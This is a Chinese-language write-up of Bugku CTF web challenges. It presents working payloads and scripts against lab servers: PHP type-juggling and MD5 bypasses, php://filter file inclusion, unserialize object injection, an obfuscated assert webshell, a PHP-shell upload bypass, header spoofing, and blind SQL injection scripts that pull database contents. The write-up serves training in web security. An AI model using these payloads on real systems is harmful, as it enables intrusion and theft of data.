web
1.web2
这题查看源代码即可,火狐浏览器f12,查看器。
2.计算器
f12查看器,找到下面这行:
<input type="text" class="input" maxlength="1">
将maxlength改成位数比结果的的数,就可以输入了。
3.web基础$_GET
这个确实是基础,在get请求时,传入参数形式是在url后面加 ?参数=值。多个参数用 ?参数1=值1&参数2=值1……
在url后加上?what=flag即可。建议下载hackbar插件。
4.web基础$_POST
POST请求没办法写在url里,需要用hackbar。
5.矛盾
这个要求不是数字且为1,有点矛盾是不是?其实有绕过的办法。下面num==1的判定是两个等号,这是弱类型比较,如果等号两边类型不同,会转换成相同类型再比较。与之对应的是强类型比较,用的是三个等号===,如果类型不同就直接不相等了。在弱类型比较下,当一个字符串与数字比较时,会把字符串转换成数字,具体是保留字母前的数字。例如123ab7c会转成123,ab7c会转成0.(字母前没数字就是0)
6.web3
直接查看网页源代码,找到下面这一行:然后用HTML解码即可
<!--KEY{J2sa42ahJK-HS11III}-->
然后HTML解码即可。
7.域名解析
域名解析是指把一个域名指向一个ip。
用ip访问,抓包,把host字段直接改成域名。
8.你必须让他停下
正常在浏览器里是没办法停的,但是可以在burp里达到单步执行的效果。
抓包后发到repeater,每点一次Go就会刷新,等到右边相应<img src="10.jpg"时就可以显示flag了,多刷新几次就好了。
9.本地包含
略
10.变量1
分析代码可以发现是php变量覆盖漏洞,构造payload。
http://123.206.87.240:8004/index1.php?args=GLOBALS
11.web5
不知道submit什么,先查看源代码发现有一段JS编码,直接放到控制台就得到了flag。
12.头等舱
里面什么都没有,先抓个包看有没有有用信息,结果服务器的响应报文头部包含flag。
13.网站被黑
根据提示网站存在漏洞,利用御剑扫描工具进行扫描。
进入shell.php网页中,发现需要密码验证,利用burpsuite进行爆破
爆破对象。
输入pass: hack
14.管理员系统
F12查看源码发现一个特殊的字符串
进行base64解密之后得到test123。
利用用户名admin尝试登陆,发现未果,页面还是提示IP已被记录,抓包进行伪造IP,在HTTP请求中添加请求头X-Forwarded-For: 127.0.0.1。
15.web4
查看源代码
<html>
<title>BKCTF-WEB4</title>
<body>
<div style="display:none;"></div>
<form action="index.php" method="post" >
看看源代码?<br>
<br>
<script>
var p1 = '%66%75%6e%63%74%69%6f%6e%20%63%68%65%63%6b%53%75%62%6d%69%74%28%29%7b%76%61%72%20%61%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%70%61%73%73%77%6f%72%64%22%29%3b%69%66%28%22%75%6e%64%65%66%69%6e%65%64%22%21%3d%74%79%70%65%6f%66%20%61%29%7b%69%66%28%22%36%37%64%37%30%39%62%32%62';
var p2 = '%61%61%36%34%38%63%66%36%65%38%37%61%37%31%31%34%66%31%22%3d%3d%61%2e%76%61%6c%75%65%29%72%65%74%75%72%6e%21%30%3b%61%6c%65%72%74%28%22%45%72%72%6f%72%22%29%3b%61%2e%66%6f%63%75%73%28%29%3b%72%65%74%75%72%6e%21%31%7d%7d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%42%79%49%64%28%22%6c%65%76%65%6c%51%75%65%73%74%22%29%2e%6f%6e%73%75%62%6d%69%74%3d%63%68%65%63%6b%53%75%62%6d%69%74%3b';
eval(unescape(p1) + unescape('%35%34%61%61%32' + p2));
</script>
<input type="input" name="flag" id="flag" />
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html>
将p1和p2,“%35%34%61%61%32”进行URL解码或者十六进制转换ASCII(不过需要先去除%)
按照eval()函数进行组合,得到一个function函数
function checkSubmit(){
var a=document.getElementById("password");
if("undefined"!=typeof a){
if("67d709b2b54aa2aa648cf6e87a7114f1"==a.value)
return!0;
alert("Error");
a.focus();
return!1
}
}
document.getElementById("levelQuest").onsubmit=checkSubmit;
get请求上传password=67d709b2b54aa2aa648cf6e87a7114f1即可得到flag。
16.flag在index里
根据题目提示:flag在index里。
尝试payload:?file=php://filter/convert.base64-encode/resource=index.php
获取index.php经过base64加密的源码,对其进行解密:
17.输入密码查看flag
bp进行爆破。
18.点击一百万次
查看源码,分析
<?php
/**
* Created by PhpStorm.
* User: Norse
* Date: 2017/8/6
* Time: 20:22
*/
include_once "flag.php";
ini_set("display_errors", 0);
$str = strstr($_SERVER['REQUEST_URI'], '?');
$str = substr($str,1);
$str = str_replace('key','',$str);
parse_str($str);
echo md5($key1);
echo md5($key2);
if(md5($key1) == md5($key2) && $key1 !== $key2){
echo $flag."鍙栧緱flag";
}
?>
分析上面代码
首先,获取完整的url,并且strstr将url中“?”及其之后的内容赋值给str 其次,substr函数将str中第二个字符(下标为1)及其以后的内容赋值给str 再次,str_replace函数将str中的子字符串替换为’’,也就是删除str中的内容为key的子串 然后,parse_str() 函数把查询字符串解析到变量中 最后,根据md5(key1) == md5(key2) &&key1 !== $key2可以联想到md5绕过。
根据以上分析,构造请求参数
http://120.24.86.145:8002/web16/index.php?kkeyey1=QNKCDZO&kkeyey2=s878926199a
20.成绩单
可以看出应该为sql联合注入,利用sqlmap进行测试。
测试代码
测试结果,存在SQL注入漏洞,爆出来了数据库
报表
爆字段
爆特定字段值
21.秋名山老司机
编写Python脚本。
import requests
import re
url = 'http://123.206.87.240:8002/qiumingshan/'
R = requests.session()
g = R.get(url)
page = re.findall(r'<div>(.*)=\?;</div>', g.text)[0]
result = eval(page)
data = {'value': result}
flag = R.post(url, data=data)
print(flag.text)
脚本的运行需要超过两次,才能够得到flag。
22.速度要快
查看页面源代码
根据提示需要POST传递一个margin,但是不知道margin的值是什么,于是抓取一个数据包进行查看。
发现响应报文里面出现flag,先将其base64解码查看。
通过提交该值,发现并不是(肯定不会这么简单。。。。),根据源码里面的提示margin的值为你发现的东西,猜想margin的值就是flag,当我再次向服务器发出请求时发现flag的值在变化。
现在只有编写脚本 #一定要保证整个操作是在一个session中不然每一次的请求flag的值都不一样。
import requests
import base64
url = 'http://123.206.87.240:8002/web6/'
#使用同一个会话
r = requests.session()
#get方式无参请求
get_response = r.get(url)
#bytes.decode("value")方法将byte类型的数据转换成str类型的数据
key = base64.b64decode(bytes.decode(base64.b64decode(get_response.headers['flag'])).split(":")[1])
#post:flag
post = {'margin': key}
post_responese = r.post(url, data=post)
#获取页面内容,使用"value".decode()方法将byte类型的数据转换成str类型的数据,两种引用方式不一样,但效果一样
print(post_responese.content.decode())
运行结果
23.coolies欺骗
filename为base64编码,由此读取index.php文件,但是有行数的限制,编写脚本读取index.php文件。
import requests
a=50
for i in range(a):
url="http://123.206.87.240:8002/web11/index.php?line="+str(i)+"&filename=aW5kZXgucGhw"
s=requests.get(url)
print (s.text)
Result
<?php
error_reporting(0);
$file=base64_decode(isset($_GET['filename'])?$_GET['filename']:"");
$line=isset($_GET['line'])?intval($_GET['line']):0;
if($file=='') header("location:index.php?line=&filename=a2V5cy50eHQ=");
$file_list = array(
'0' =>'keys.txt',
'1' =>'index.php',
);
if(isset($_COOKIE['margin']) && $_COOKIE['margin']=='margin'){
$file_list[2]='keys.php';
}
if(in_array($file, $file_list)){
$fa = file($file);
echo $fa[$line];
}
?>
代码审计可知需要构造:
1、cookie:$_COOKIE[‘margin’]==‘margin’
2、filename=a2V5cy5waHA=
右键查看源码读取flag
24.never give up
查看源码,发现存在 “1p.html” 尝试去访http://123.206.87.240:8006/test/1p.html,却跳转到了其它页面,应该是重定向所致,查看1p.html网页源码。
发现时bugku主页
查看一下源码.
url解码得到:
<script>window.location.href='http://www.bugku.com';</script>
<!--JTIyJTNCaWYlMjglMjElMjRfR0VUJTVCJTI3aWQlMjclNUQlMjklMEElN0IlMEElMDloZWFkZXIlMjglMjdMb2NhdGlvbiUzQSUyMGhlbGxvLnBocCUzRmlkJTNEMSUyNyUyOSUzQiUwQSUwOWV4aXQlMjglMjklM0IlMEElN0QlMEElMjRpZCUzRCUyNF9HRVQlNUIlMjdpZCUyNyU1RCUzQiUwQSUyNGElM0QlMjRfR0VUJTVCJTI3YSUyNyU1RCUzQiUwQSUyNGIlM0QlMjRfR0VUJTVCJTI3YiUyNyU1RCUzQiUwQWlmJTI4c3RyaXBvcyUyOCUyNGElMkMlMjcuJTI3JTI5JTI5JTBBJTdCJTBBJTA5ZWNobyUyMCUyN25vJTIwbm8lMjBubyUyMG5vJTIwbm8lMjBubyUyMG5vJTI3JTNCJTBBJTA5cmV0dXJuJTIwJTNCJTBBJTdEJTBBJTI0ZGF0YSUyMCUzRCUyMEBmaWxlX2dldF9jb250ZW50cyUyOCUyNGElMkMlMjdyJTI3JTI5JTNCJTBBaWYlMjglMjRkYXRhJTNEJTNEJTIyYnVna3UlMjBpcyUyMGElMjBuaWNlJTIwcGxhdGVmb3JtJTIxJTIyJTIwYW5kJTIwJTI0aWQlM0QlM0QwJTIwYW5kJTIwc3RybGVuJTI4JTI0YiUyOSUzRTUlMjBhbmQlMjBlcmVnaSUyOCUyMjExMSUyMi5zdWJzdHIlMjglMjRiJTJDMCUyQzElMjklMkMlMjIxMTE0JTIyJTI5JTIwYW5kJTIwc3Vic3RyJTI4JTI0YiUyQzAlMkMxJTI5JTIxJTNENCUyOSUwQSU3QiUwQSUwOXJlcXVpcmUlMjglMjJmNGwyYTNnLnR4dCUyMiUyOSUzQiUwQSU3RCUwQWVsc2UlMEElN0IlMEElMDlwcmludCUyMCUyMm5ldmVyJTIwbmV2ZXIlMjBuZXZlciUyMGdpdmUlMjB1cCUyMCUyMSUyMSUyMSUyMiUzQiUwQSU3RCUwQSUwQSUwQSUzRiUzRQ==-->
base64解码
又是一层url~
继续解密
发现是这样的一段代码
";if(!$_GET['id'])
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
require("f4l2a3g.txt");
}
else
{
print "never never never give up !!!";
}
?>
代码审计发现需要满足:
- if(!GET[′id′])条件为假同时id==0
- $data==“bugku is a nice plateform!” //利用php伪协议赋值
- strlen(b)>5anderegi(“111”.substr(b,0,1),“1114”) and
substr(b,0,1)!=4
构造payload:
http://123.206.87.240:8006/test/hello.php?id=aaa&a=data://,bugku%20is%20a%20nice%20plateform!&b=%00999999
25.welcome to bugkuctf
you are not the number of bugku !
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
代码审计发现需要满足一个条件:1. user的值必须等于"welcome to the bugkuctf"
根据提示 ”include($file); //hint.php ” 构造初步payload
payload1:
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=hint.php
读取hint.php文件:
PD9waHAgIA0KICANCmNsYXNzIEZsYWd7Ly9mbGFnLnBocCAgDQogICAgcHVibGljICRmaWxlOyAgDQogICAgcHVibGljIGZ1bmN0aW9uIF9fdG9zdHJpbmcoKXsgIA0KICAgICAgICBpZihpc3NldCgkdGhpcy0+ZmlsZSkpeyAgDQogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgDQoJCQllY2hvICI8YnI+IjsNCgkJcmV0dXJuICgiZ29vZCIpOw0KICAgICAgICB9ICANCiAgICB9ICANCn0gIA0KPz4gIA==
将获取到的base64代码进行解密,获取hint.php文件源码
<?php
class Flag{//flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("good");
}
}
}
?>
payload2:
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=php://filter/convert.base64-encode/resource=index.php
读取index.php文件
PD9waHAgIA0KJHR4dCA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzc3dvcmQgPSAkX0dFVFsicGFzc3dvcmQiXTsgIA0KICANCmlmKGlzc2V0KCR0eHQpJiYoZmlsZV9nZXRfY29udGVudHMoJHR4dCwncicpPT09IndlbGNvbWUgdG8gdGhlIGJ1Z2t1Y3RmIikpeyAgDQogICAgZWNobyAiaGVsbG8gZnJpZW5kITxicj4iOyAgDQogICAgaWYocHJlZ19tYXRjaCgiL2ZsYWcvIiwkZmlsZSkpeyANCgkJZWNobyAi5LiN6IO9546w5Zyo5bCx57uZ5L2gZmxhZ+WTpiI7DQogICAgICAgIGV4aXQoKTsgIA0KICAgIH1lbHNleyAgDQogICAgICAgIGluY2x1ZGUoJGZpbGUpOyAgIA0KICAgICAgICAkcGFzc3dvcmQgPSB1bnNlcmlhbGl6ZSgkcGFzc3dvcmQpOyAgDQogICAgICAgIGVjaG8gJHBhc3N3b3JkOyAgDQogICAgfSAgDQp9ZWxzZXsgIA0KICAgIGVjaG8gInlvdSBhcmUgbm90IHRoZSBudW1iZXIgb2YgYnVna3UgISAiOyAgDQp9ICANCiAgDQo/PiAgDQogIA0KPCEtLSAgDQokdXNlciA9ICRfR0VUWyJ0eHQiXTsgIA0KJGZpbGUgPSAkX0dFVFsiZmlsZSJdOyAgDQokcGFzcyA9ICRfR0VUWyJwYXNzd29yZCJdOyAgDQogIA0KaWYoaXNzZXQoJHVzZXIpJiYoZmlsZV9nZXRfY29udGVudHMoJHVzZXIsJ3InKT09PSJ3ZWxjb21lIHRvIHRoZSBidWdrdWN0ZiIpKXsgIA0KICAgIGVjaG8gImhlbGxvIGFkbWluITxicj4iOyAgDQogICAgaW5jbHVkZSgkZmlsZSk7IC8vaGludC5waHAgIA0KfWVsc2V7ICANCiAgICBlY2hvICJ5b3UgYXJlIG5vdCBhZG1pbiAhICI7ICANCn0gIA0KIC0tPiAg
将获取到的base64代码进行解密,获取index.php文件源码
<?php
$txt = $_GET["txt"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($txt)&&(file_get_contents($txt,'r')==="welcome to the bugkuctf")){
echo "hello friend!<br>";
if(preg_match("/flag/",$file)){
echo "不能现在就给你flag哦";
exit();
}else{
include($file);
$password = unserialize($password);
echo $password;
}
}else{
echo "you are not the number of bugku ! ";
}
?>
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
分析代码可知:
-
file的值不能包含flag字符串
-
user的值必须等于"welcome to the bugkuctf"
-
password 的值必须是经过序列化的字符串
php反序列化漏洞:
当一个对象被当作字符串使用时会自动调用魔法函数 “__toString()”
利用php反序列化漏洞进行构造最终payload
http://123.206.87.240:8006/test1/?txt=data://,welcome%20to%20the%20bugkuctf&file=hint.php&password=O:4:%22Flag%22:1:{s:4:%22file%22;s:8:%22flag.php%22;}
查看源码
hello friend!<br> <?php
//flag{php_is_the_best_language} 1
?><br>good
<!--
$user = $_GET["txt"];
$file = $_GET["file"];
$pass = $_GET["password"];
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){
echo "hello admin!<br>";
include($file); //hint.php
}else{
echo "you are not admin ! ";
}
-->
get flag。
26.过狗一句话
源码
<?php
$poc = "a#s#s#e#r#t";
$poc_1 = explode("#", $poc);
$poc_2 = $poc_1[0] . $poc_1[1] . $poc_1[2] . $poc_1[3] . $poc_1[4] . $poc_1[5];
$poc_2($_GET['s'])
?>
代码审计,源码相当于:assert() 执行字符串s
payload1:读取当前目录下的文件
http://123.206.87.240:8010/?s=print_r(scandir(%27./%27))
发现存在特殊文件:
访问:http://123.206.87.240:8010/f14g.txt 读取到flag信息
get flag。
27. 字符?正则?
源码
<?php
highlight_file('2.php');
$key='KEY{********************************}';
$IM= preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i", trim($_GET["id"]), $match);
if( $IM ){
die('key is: '.$key);
}
?>
正则分析
"key":表达式字符串”key“直接匹配
".":匹配除“\n”之外的任何单个字符。要匹配包括“\n”在内的任何字符,请使用像“[\s\S]”的模式
"*":匹配前面的子表达式零次或多次。例如,zo*能匹配“z”以及“zoo”。*等价于{0,}
"\/":代表“/”
[a-z]:代表a-z中的任意一个字符
[[:punct:]]:匹配其中一个字符: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
/i:忽略大小写
{4-7}:{n,m},m和n均为非负整数,其中n<=m。最少匹配n次且最多匹配m次
"/":将下一个字符标记为一个特殊字符、或一个原义字符、或一个向后引用、或一个八进制转义符。例如,“\n”匹配字符“n”。“\\n”匹配一个换行符。序列“\\”匹配“\”而“\(”则匹配“(”
构造payload
http://123.206.87.240:8002/web10/?id=key999key9999key:/9/999keyy^
28. 前女友(SKCTF)
略
29.login1(SKCTF)
略
30.你从哪里来
根据页面提示,构造HTTP请求头,添加Referer字段:Referer: https://www.google.com
抓包构造
31.md5 collision(NUPT_CTF)
根据提示传入参数a,但是显示false,有题目可猜测MD5碰撞,尝试构造payload
MD5碰撞列表
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
32. 程序员本地网站
根据提示从本地访问,在HTTP请求头里面加上字段 X-Forwarded-For: 127.0.0.1 或者 Client-Ip: 127.0.0.1
33. 各种绕过
代码:
<?php
highlight_file('flag.php');
$_GET['id'] = urldecode($_GET['id']);
$flag = 'flag{xxxxxxxxxxxxxxxxxx}';
if (isset($_GET['uname']) and isset($_POST['passwd'])) {
if ($_GET['uname'] == $_POST['passwd'])
print 'passwd can not be uname.';
else if (sha1($_GET['uname']) === sha1($_POST['passwd'])&($_GET['id']=='margin'))
die('Flag: '.$flag);
else
print 'sorry!';
}
?>
代码审计需要满足:
-
GET[′uname′]!=_POST[‘passwd’]
-
sha1(GET[′uname′])===sha1(_POST[‘passwd’]) //利用数组绕过
-
$_GET[‘id’]==‘margin’)
利用sha1()不能处理数组进行构造payload
http://123.206.87.240:8002/web7/?uname[]=999&id=margin
POST:passwd[]=6666
34. web8
页面源码
<?php
extract($_GET);
if (!empty($ac))
{
$f = trim(file_get_contents($fn));
if ($ac === $f)
{
echo "<p>This is flag:" ." $flag</p>";
}
else
{
echo "<p>sorry!</p>";
}
}
?>
代码审计发现需要满足两个条件:
-
ac不能为空
-
ac===f
利用php伪协议:php://input 构造payload
http://123.206.87.240:8002/web8/?ac=123&fn=php://input
POST:123
35. 细心
略
36.求getshell
根据提示需要上传php马,经过测试需要满足一下几个条件
1、文件名filename=*.php5
2、文件类型Content-Type: image/jpeg
3、数据包类型Content-Type: multipart/form-datA #大小写绕过
37.INSERT INTO注入
代码:
error_reporting(0);
function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];
}
$host="localhost";
$user="";
$pass="";
$db="";
$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");
mysql_select_db($db) or die("Unable to select database");
$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);
分析是HTTP头部注入
-
代码0报错:error_reporting(0) 所以不考虑报错注入
-
代码只有IP回显所以不考虑Boolean注入
-
注入归于时间注入
payload:
#-*- encoding: utf-8 -*-
import requests
str_value="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*."
url="http://123.206.87.240:8002/web15/"
flag=""
#爆表名长度:14
#data = 11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_name=database()))=14) then sleep(4) else 1 end)) #
#爆表名值:client_ip,flag
#data = "11'and (case when (substr((select group_concat(table_name) from information_schema.tables where table_schema=database() ) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#爆字段长度:4
#data = 11' and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))=4) then sleep(4) else 1 end)) #
#爆字段值:flag
#data = "11' and (case when (substr((select group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
#爆字段内容长度:32
#data = 11' and (case when (length((select group_concat(flag) from flag))=32) then sleep(4) else 1 end)) #
#爆字段内容:xxxxxxxxxxxxxxxxxxxxxxxx
#data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(4) else 1 end )) #"
for i in range(1,33):
for str1 in str_value:
data = "11' and (case when (substr((select group_concat(flag) from flag) from " + str(i) + " for 1 )='" + str1 + "') then sleep(5) else 0 end )) #"
headers = {"x-forwarded-for":data}
try:
result = requests.get(url,headers=headers,timeout=4)
except:
flag += str1
print("flag:"+flag)
break
print('End_Flag:' + flag)
get flag.
38. 这是一个神奇的登陆框
略
39.多次
测试发现可能存在注入
通过fuzz测试查看过滤了那些关键字
payload1
# 123.206.87.240:9004/1ndex.php?id=1' anandd length("sselectelect") --+ true
# 123.206.87.240:9004/1ndex.php?id=1' anandd length("select") --+ false
在知道过滤了那些关键字之后,继续测试发现存在布尔盲注
payload2
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=1--+
http://123.206.87.240:9004/1ndex.php?id=1%27%20anandd%201=2--+
在已知存在布尔盲注的基础上编写 POC1
import requests
url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (ascii(substr((selselectect database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((selselectect group_concat(table_name separatoorr ':') from infoorrmation_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (seselectlect ascii(substr((seselectlect group_concat(column_name separatoorr ':') from infoorrmation_schema.columns where table_name='flag1' anandd table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/1ndex.php?id=1' anandd (selselectect ascii(substr((selselectect group_concat(flag1,':',address separatoorr '?') from flag1),{_},1))>{__}) --+"
data = ''
for i in range(1,100):
min = 33
max = 126
while min<=max:
mid = (max + min)//2
payload = url.format(_=i,__ = mid)
r = requests.get(payload)
if 'There is nothing.' in r.text:
min = mid+1
else:
max = mid-1
data += chr(min)
print(data)
print("done")
PS:此处的Waf可用双写关键字绕过
Run 数据库:
Run 表:
Run 字段:
Run 字段 Value:
根据提示表flag1的flag1字段内容肯定不是真的flag,在表flag1的address字段中发现新的Hint
尝试访问./Once_More.php
手动测试又一次发现存在布尔盲注
payload3
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=1--+
http://123.206.87.240:9004/Once_More.php?id=1%27%20and%201=2--+
手动测试发现过滤了union、substr
测试过程的记录
在上面的基础上编写新的POC2
import requests
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (ascii(mid((select database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(table_name separator ':') from information_schema.tables where table_schema=database()),{_},1))>{__}) --+"
#url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(column_name separator ':') from information_schema.columns where table_name='flag2' and table_schema=database()),{_},1))>{__}) --+"
url = "http://123.206.87.240:9004/Once_More.php?id=1' and (select ascii(mid((select group_concat(flag2,':',address separator '?') from flag2),{_},1))>{__}) --+"
data = ''
for i in range(1,100):
min = 33
max = 126
while min<=max:
mid = (max + min)//2
payload = url.format(_=i,__ = mid)
r = requests.get(payload)
if 'Hello,I Am Here!' in r.text:
min = mid+1
else:
max = mid-1
data += chr(min)
print(data)
print("done")
PS:substr使用mid替换
Run 数据库:
Run 表:
Run 字段:
Run 字段 Value:
40.PHP_encrypt_1(ISCCCTF)
略
41.文件包含
略
42.flag.php
点击login确实没反应,根据提示:hint 可能是一个变量,尝试访问 http://123.206.87.240:8002/flagphp/?hint= 得到网页源码正常信息
<?php
error_reporting(0);
include_once("flag.php");
$cookie = $_COOKIE['ISecer'];
if(isset($_GET['hint'])){
show_source(__FILE__);
}
elseif (unserialize($cookie) === "$KEY")
{
echo "$flag";
}
else {
?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>Login</title>
<link rel="stylesheet" href="admin.css" type="text/css">
</head>
<body>
<br>
<div class="container" align="center">
<form method="POST" action="#">
<p><input name="user" type="text" placeholder="Username"></p>
<p><input name="password" type="password" placeholder="Password"></p>
<p><input value="Login" type="button"/></p>
</form>
</div>
</body>
</html>
<?php
}
$KEY='ISecer:www.isecer.com';
?>
代码审计发现需要满足:
-
cookie=_COOKIE[‘ISecer’]的值必须是经过序列化之后的值
-
unserialize(cookie)=“KEY” //此处的$keynull
利用BurpSuite抓包在http请求头部添加cookie字段:ISecer=s:0:"";
43.sql注入2
1 这道题也属于典型的DS_Store源码泄露,当然还有其他类型(常见web源码泄露总结)
2.DS_Store下载地址:https://github.com/lijiejie/ds_store_exp
3.直接用脚本跑:python2 ds_store_exp.py http://123.206.87.240:8007/we b2/.DS_Store
44.孙XX的博客
点开blog,浏览全部的博客,然后看到了这
点开看看如下图
网页里面有用的东西
这两个东西很容易就能联想到时用户名密码,可是这里应该是哪里的用户名密码,
尝试访问phpmyadmin,没想到成功访问了,然后把上面这两个东西分别作为用户名密码输进去,然后就可以成功登入了,然后
数据库的东西
直接点击它,然后查看里面的东西直接就得到了flag。
45.Trim的日记本
直接扫目录,show.php就能看到(不过一般情况下线上比赛是不允许扫目录的)
46.login2(SKCTF)
略
47.login3(SKCTF)
略
48.文件上传2
略
49.江湖魔头
去掉wulin.php后面的参数,可以看到以下页面
查看源码:
三个.js文件
打开第一个.js
格式化一波
尝试在浏览器控制台执行此函数,弹出经过md5加密的字符串
解码…
最后解出来的cookie值中,大致流程:解cookie–>修改"money"–>封装–>设置cookie值–>有钱人–>去商店–>学技能–>打怪…
修改之后的数据经过几轮加密之后已经跟最开始的样子很不一样了,这是不太正常的。问题就出在了中间的encode_create函数中的base64加解码上。
查看另外一个外部链接js文件base64.js。
解码中有一行被注释掉了,这个时候我们只要想办法让加密过程中对应的input = _utf8_encode(input);这一行不生效或不执行。
通过document.cookie进行设置,然后去商店学技能,最后去找老魔决战:
50.login4
略
参考资料:
https://www.cnblogs.com/qftm/p/10388710.html
https://www.cnblogs.com/loo5mity/p/10222222.html